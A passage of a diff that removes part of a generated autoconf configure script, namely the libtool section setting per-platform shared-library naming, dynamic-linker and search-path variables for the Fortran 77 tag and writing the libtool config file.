- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_F77=
-if test -n "$hardcode_libdir_flag_spec_F77" || \
- test -n "$runpath_var_F77" || \
- test "X$hardcode_automatic_F77" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_F77" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, F77)" != no &&
- test "$hardcode_minus_L_F77" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_F77=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_F77=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_F77=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_F77" >&5
-$as_echo "$hardcode_action_F77" >&6; }
-
-if test "$hardcode_action_F77" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_F77 \
- CC_F77 \
- LD_F77 \
- lt_prog_compiler_wl_F77 \
- lt_prog_compiler_pic_F77 \
- lt_prog_compiler_static_F77 \
- lt_prog_compiler_no_builtin_flag_F77 \
- export_dynamic_flag_spec_F77 \
- thread_safe_flag_spec_F77 \
- whole_archive_flag_spec_F77 \
- enable_shared_with_static_runtimes_F77 \
- old_archive_cmds_F77 \
- old_archive_from_new_cmds_F77 \
- predep_objects_F77 \
- postdep_objects_F77 \
- predeps_F77 \
- postdeps_F77 \
- compiler_lib_search_path_F77 \
- archive_cmds_F77 \
- archive_expsym_cmds_F77 \
- postinstall_cmds_F77 \
- postuninstall_cmds_F77 \
- old_archive_from_expsyms_cmds_F77 \
- allow_undefined_flag_F77 \
- no_undefined_flag_F77 \
- export_symbols_cmds_F77 \
- hardcode_libdir_flag_spec_F77 \
- hardcode_libdir_flag_spec_ld_F77 \
- hardcode_libdir_separator_F77 \
- hardcode_automatic_F77 \
- module_cmds_F77 \
- module_expsym_cmds_F77 \
- lt_cv_prog_compiler_c_o_F77 \
- exclude_expsyms_F77 \
- include_expsyms_F77; do
-
- case $var in
- old_archive_cmds_F77 | \
- old_archive_from_new_cmds_F77 | \
- archive_cmds_F77 | \
- archive_expsym_cmds_F77 | \
- module_cmds_F77 | \
- module_expsym_cmds_F77 | \
- old_archive_from_expsyms_cmds_F77 | \
- export_symbols_cmds_F77 | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_F77
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_F77
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_F77
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_F77
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_F77
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_F77
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_F77
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_F77
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_F77
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_F77
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_F77
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_F77
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_F77
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_F77
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_F77
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_F77
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_F77
-archive_expsym_cmds=$lt_archive_expsym_cmds_F77
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_F77
-module_expsym_cmds=$lt_module_expsym_cmds_F77
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_F77
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_F77
-
